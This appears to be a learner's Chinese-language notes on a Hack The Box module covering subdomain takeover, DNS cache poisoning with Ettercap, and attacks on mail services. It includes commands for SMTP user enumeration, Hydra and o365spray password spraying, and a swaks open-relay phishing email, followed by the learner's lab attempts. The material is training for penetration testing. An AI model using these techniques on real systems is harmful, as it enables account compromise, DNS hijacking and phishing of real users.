在执行子域接管之前,我们应该使用Subfinder等工具枚举目标域的子域。这个工具可以从像 DNSdumpster这样的开放源代码中抓取子域。Sublist3r等其他工具也可以通过提供预先生成的单词列表来使用暴力子域:

Tanin@htb[/htb]# ./subfinder -d inlanefreight.com -v       
                                                                       
        _     __ _         _                                           
____  _| |__ / _(_)_ _  __| |___ _ _          
(_-< || | '_ \  _| | ' \/ _  / -_) '_|                 
/__/\_,_|_.__/_| |_|_||_\__,_\___|_| v2.4.5                                                                                                                                                                                                                                                 
                projectdiscovery.io                    
                                                                       
[WRN] Use with caution. You are responsible for your actions
[WRN] Developers assume no liability and are not responsible for any misuse or damage.
[WRN] By using subfinder, you also agree to the terms of the APIs used. 
                                   
[INF] Enumerating subdomains for inlanefreight.com
[alienvault] www.inlanefreight.com
[dnsdumpster] ns1.inlanefreight.com
[dnsdumpster] ns2.inlanefreight.com
...snip...
[bufferover] Source took 2.193235338s for enumeration
ns2.inlanefreight.com
www.inlanefreight.com
ns1.inlanefreight.com
support.inlanefreight.com
[INF] Found 4 subdomains for inlanefreight.com in 20 seconds 11 milliseconds

一个很好的替代方案是一种名为Subbrute的工具。该工具允许我们使用自定义解析器,并在无法访问Internet的主机上进行内部渗透测试时执行纯DNS暴力攻击。

Tanin@htb[/htb]$ git clone https://github.com/TheRook/subbrute.git >> /dev/null 2>&1
Tanin@htb[/htb]$ cd subbrute
Tanin@htb[/htb]$ echo "ns1.inlanefreight.com" > ./resolvers.txt
Tanin@htb[/htb]$ ./subbrute inlanefreight.com -s ./names.txt -r ./resolvers.txt

有时内部物理配置的安全性很差,我们可以利用它从U盘上传工具。另一种情况是,我们已经通过转向到达了一个内部主机,并希望在那里工作。当然,还有其他选择,但知道其他方式和可能性并没有坏处。 该工具发现了四个与inlanefreight.com相关的子域。使用nslookup或host命令,我们可以枚举这些子域的CNAME记录。

Tanin@htb[/htb]# host support.inlanefreight.com

support.inlanefreight.com is an alias for inlanefreight.s3.amazonaws.com

支持子域有一个指向AWS S3存储桶的别名记录。但是,URLhttps://support.inlanefreight.com显示了一个NoSuchBucket错误,表明子域可能容易受到子域接管的攻击。现在,我们可以通过创建一个具有相同子域名称的AWS S3 bucket来接管子域。

can-i-take-over-xyz存储库也是子域接管漏洞的绝佳参考。它显示了目标服务是否易受子域接管的攻击,并提供了评估漏洞的指导方针。

Local DNS Cache Poisoning

从本地网络的角度来看,攻击者还可以使用 EttercapBettercap等MITM工具执行DNS缓存中毒。 要通过Ettercap利用DNS缓存中毒,我们应该首先编辑/etc/Ettercap/etter.DNS文件,以映射他们想要欺骗的目标域名(例如,inlanefreight.com)和他们想要将用户重定向到的攻击者的IP地址(例如,192.168.225.110):

Tanin@htb[/htb]# cat /etc/ettercap/etter.dns

inlanefreight.com      A   192.168.225.110
*.inlanefreight.com    A   192.168.225.110

接下来,启动Ettercap工具,并通过导航到主机>扫描主机来扫描网络中的活动主机。完成后,将目标IP地址(例如192.168.152.129)添加到Target1,并将默认网关IP(例如192.168.152.2)添加到Target2。

img

通过导航到插件>管理插件来激活dns_恶搞攻击。这将向目标计算机发送假DNS响应,该响应将解析inlanefreight.com到IP地址192.168.225.110:

img

成功的DNS欺骗攻击后,如果来自目标机器192.168.152.129的受害者用户在web浏览器上访问inlanefreight.com域,他们将被重定向到IP地址192.168.225.110上的虚假页面,此外,从目标IP地址192.168.152.129到inlanefreight.com的ping也应解析为192.168.225.110:

practice

Find all available DNS records for the “inlanefreight.htb” domain on the target name server and submit the flag found as a DNS record as the answer.

Attacking Email Services

邮件服务器(有时也称为电子邮件服务器)是一种通过网络(通常是通过互联网)处理和发送电子邮件的服务器。邮件服务器可以从客户端设备接收电子邮件并将其发送到其他邮件服务器。邮件服务器还可以向客户端设备发送电子邮件。客户端通常是我们阅读电子邮件的设备(电脑、智能手机等)。 当我们按下电子邮件应用程序(电子邮件客户端)中的“发送”按钮时,该程序将建立与网络或Internet上SMTP服务器的连接。SMTP这个名称代表简单邮件传输协议,它是一种将电子邮件从客户端传递到服务器以及从服务器传递到其他服务器的协议。 当我们将电子邮件下载到电子邮件应用程序时,它将连接到互联网上的POP3或IMAP4服务器,这允许用户将邮件保存在服务器邮箱中并定期下载。 默认情况下,POP3客户端会从电子邮件服务器中删除下载的邮件。这种行为使得在多个设备上访问电子邮件变得困难,因为下载的邮件存储在本地计算机上。但是,我们通常可以将POP3客户端配置为在服务器上保留下载邮件的副本。 另一方面,默认情况下,IMAP4客户端不会从电子邮件服务器中删除下载的邮件。此行为使从多个设备访问电子邮件变得容易。让我们看看如何针对邮件服务器。

Enumeration

电子邮件服务器很复杂,通常需要我们枚举多个服务器、端口和服务。此外,如今大多数公司的电子邮件服务都在云端,并提供 Microsoft 365G-Suite等服务。因此,我们攻击电子邮件服务的方法取决于所使用的服务。 我们可以使用邮件交换(MX)DNS记录来识别邮件服务器。MX记录指定负责代表域名接受电子邮件的邮件服务器。可以配置几个MX记录,通常指向一个邮件服务器阵列以实现负载平衡和冗余。 我们可以使用主机或挖掘等工具以及MXToolbox等在线网站来查询有关MX记录的信息

Host - MX Records

Tanin@htb[/htb]$ host -t MX hackthebox.eu

hackthebox.eu mail is handled by 1 aspmx.l.google.com.
Tanin@htb[/htb]$ host -t MX microsoft.com

microsoft.com mail is handled by 10 microsoft-com.mail.protection.outlook.com.

DIG - MX Records

Tanin@htb[/htb]$ dig mx plaintext.do | grep "MX" | grep -v ";"

plaintext.do.           7076    IN      MX      50 mx3.zoho.com.
plaintext.do.           7076    IN      MX      10 mx.zoho.com.
plaintext.do.           7076    IN      MX      20 mx2.zoho.com.
Tanin@htb[/htb]$ dig mx inlanefreight.com | grep "MX" | grep -v ";"

inlanefreight.com.      300     IN      MX      10 mail1.inlanefreight.com.

DIG - A Record for MX

Tanin@htb[/htb]$ host -t A mail1.inlanefreight.htb.

mail1.inlanefreight.htb has address 10.129.14.128

这些MX记录表明,前三个邮件服务使用的是云服务G-Suite(aspmx.l.google.com)、Microsoft 365(Microsoft.com.mail.protection.outlook.com)和Zoho(MX.Zoho.com),最后一个可能是该公司托管的自定义邮件服务器。 此信息至关重要,因为枚举方法可能因服务而异。例如,大多数云服务提供商使用他们的邮件服务器实现,并采用现代身份验证,这为每个服务提供商打开了新的、唯一的攻击向量。另一方面,如果公司配置服务,我们可能会发现允许对邮件服务器协议进行常见攻击的不良做法和错误配置。 如果我们的目标是一个自定义邮件服务器实现,如inlanefreight.htb,我们可以列举以下端口:

TCP/25 SMTP Unencrypted
TCP/143 IMAP4 Unencrypted
TCP/110 POP3 Unencrypted
TCP/465 SMTP Encrypted
TCP/993 IMAP4 Encrypted
TCP/995 POP3 Encrypted
Tanin@htb[/htb]$ sudo nmap -Pn -sV -sC -p25,143,110,465,993,995 10.129.14.128

Misconfigurations

电子邮件服务使用身份验证来允许用户发送电子邮件和接收电子邮件。当SMTP服务允许匿名身份验证或支持可用于枚举有效用户名的协议时,可能会发生配置错误。

Authentication

SMTP服务器有不同的命令,可用于枚举有效用户名VRFY、EXPN和RCPT to。如果我们成功枚举有效用户名,我们可以尝试密码喷洒、暴力破解或猜测有效密码。因此,让我们探究一下这些命令是如何工作的。

VRFY Command

Tanin@htb[/htb]$ telnet 10.10.110.20 25

Trying 10.10.110.20...
Connected to 10.10.110.20.
Escape character is '^]'.
220 parrot ESMTP Postfix (Debian/GNU)


VRFY root

252 2.0.0 root


VRFY www-data

252 2.0.0 www-data


VRFY new-user

550 5.1.1 <new-user>: Recipient address rejected: User unknown in local recipient table

EXPN与VRFY类似,只是当与通讯组列表一起使用时,它会列出该列表中的所有用户。这可能是一个比VRFY命令更大的问题,因为站点通常有一个别名,如“all”

EXPN Command

Tanin@htb[/htb]$ telnet 10.10.110.20 25

Trying 10.10.110.20...
Connected to 10.10.110.20.
Escape character is '^]'.
220 parrot ESMTP Postfix (Debian/GNU)


EXPN john

250 2.1.0 john@inlanefreight.htb


EXPN support-team

250 2.0.0 carol@inlanefreight.htb
250 2.1.5 elisa@inlanefreight.htb

RCPT TO标识电子邮件的收件人。对于给定的邮件,可以多次重复此命令,以便将单个邮件传递给多个收件人。

RCPT TO Command

Tanin@htb[/htb]$ telnet 10.10.110.20 25

Trying 10.10.110.20...
Connected to 10.10.110.20.
Escape character is '^]'.
220 parrot ESMTP Postfix (Debian/GNU)


MAIL FROM:test@htb.com
it is
250 2.1.0 test@htb.com... Sender ok


RCPT TO:julio

550 5.1.1 julio... User unknown


RCPT TO:kate

550 5.1.1 kate... User unknown


RCPT TO:john

250 2.1.5 john... Recipient ok

我们还可以根据服务实现使用POP3协议来枚举用户。例如,我们可以使用USER命令和用户名,如果服务器的响应为OK,这意味着用户存在于服务器上。

Tanin@htb[/htb]$ telnet 10.10.110.20 110

Trying 10.10.110.20...
Connected to 10.10.110.20.
Escape character is '^]'.
+OK POP3 Server ready

USER julio

-ERR


USER john

+OK

为了自动化我们的枚举过程,我们可以使用一个名为 smtp-user-enum的工具。我们可以用后面跟着VRFY、EXPN或RCPT的参数-M指定枚举模式,用包含要枚举的用户列表的文件指定参数-U。根据服务器实现和枚举模式,我们需要添加带有参数-D的电子邮件地址的域。最后,我们用参数-t指定目标。

Tanin@htb[/htb]$ smtp-user-enum -M RCPT -U userlist.txt -D inlanefreight.htb -t 10.129.203.7

Cloud Enumeration

如前所述,云服务提供商使用自己的电子邮件服务实现。这些服务通常具有自定义功能,我们可以滥用这些功能进行操作,例如用户名枚举。让我们以Office365为例,探讨如何在此云平台中枚举用户名。 O365sprayZDH开发的一款针对Microsoft Office 365(O365)的用户名枚举和密码喷涂工具。该工具重新实现了鸣谢中Acknowledgments提到的人员研究和确定的列举和喷涂技术的集合。让我们首先验证我们的目标域是否正在使用Office 365。

O365 Spray

python3 o365spray.py --validate --domain msplaintext.xyz

validate:验证

现在,我们可以尝试识别用户名。

 python3 o365spray.py --enum -U users.txt --domain msplaintext.xyz   

Password Attacks

我们可以使用Hydra对SMTP、POP3或IMAP4等电子邮件服务执行密码喷洒或暴力攻击。首先,我们需要获得用户名列表和密码列表,并指定要攻击的服务。让我们看看POP3的示例。

hydra -L users.txt -p 'Company01!' -f 10.10.110.20 pop3

如果云服务支持SMTP、POP3或IMAP4协议,我们可能可以尝试使用Hydra等工具执行密码喷洒,但这些工具通常会被阻止。相反,我们可以尝试使用自定义工具,如适用于Microsoft Office 365的 o365sprayMailSniper,或适用于Gmail或Okta的 CredKing。请记住,这些工具需要是最新的,因为如果服务提供商更改某些内容(这种情况经常发生),这些工具可能就无法再工作了。这是一个完美的例子,说明了为什么我们必须了解我们的工具在做什么,并拥有在它们因某种原因无法正常工作时对其进行修改的专业知识。

O365 Spray - Password Spraying

 python3 o365spray.py --spray -U usersfound.txt -p 'March2022!' --count 1 --lockout 1 --domain msplaintext.xyz

Protocol Specifics Attacks

开放中继是简单传输邮件协议(SMTP)服务器,该服务器配置不正确,允许未经身份验证的电子邮件中继。意外或有意配置为开放中继的消息服务器允许来自任何来源的邮件通过开放中继服务器透明地重新路由。这种行为屏蔽了消息的来源,使其看起来像是来自开放中继服务器的邮件。

Open Relay

Tanin@htb[/htb]# nmap -p25 -Pn --script smtp-open-relay 10.10.11.213

接下来,我们可以使用任何邮件客户端连接到邮件服务器并发送我们的电子邮件。

Tanin@htb[/htb]# swaks --from notifications@inlanefreight.com --to employees@inlanefreight.com --header 'Subject: Company Notification' --body 'Hi All, we want to hear from you! Please complete the following survey. http://mycustomphishinglink.com/' --server 10.10.11.213
=== Trying 10.10.11.213:25...
=== Connected to 10.10.11.213.
<-  220 mail.localdomain SMTP Mailer ready
 -> EHLO parrot
<-  250-mail.localdomain
<-  250-SIZE 33554432
<-  250-8BITMIME
<-  250-STARTTLS
<-  250-AUTH LOGIN PLAIN CRAM-MD5 CRAM-SHA1
<-  250 HELP
 -> MAIL FROM:<notifications@inlanefreight.com>
<-  250 OK
 -> RCPT TO:<employees@inlanefreight.com>
<-  250 OK
 -> DATA
<-  354 End data with <CR><LF>.<CR><LF>
 -> Date: Thu, 29 Oct 2020 01:36:06 -0400
 -> To: employees@inlanefreight.com
 -> From: notifications@inlanefreight.com
 -> Subject: Company Notification
 -> Message-Id: <20201029013606.775675@parrot>
 -> X-Mailer: swaks v20190914.0 jetmore.org/john/code/swaks/
 -> 
 -> Hi All, we want to hear from you! Please complete the following survey. http://mycustomphishinglink.com/
 -> 
 -> 
 -> .
<-  250 OK
 -> QUIT
<-  221 Bye
=== Connection closed with remote host.

practice

What is the available username for the domain inlanefreight.htb in the SMTP server?

What is the available username for the domain inlanefreight.htb in the SMTP server?

这里先用检测一下是否使用o365服务(后来仔细看发先这是检测云服务的,应该没有必要):

image-20230820155755455

看来没有启用,使用常规方法:

image-20230820160410150

这里域名-D看样子是值邮件的后缀

image-20230820161403882

用户名是带域名的,然后登录不知道怎么办,无论如何不给过

image-20230820165359316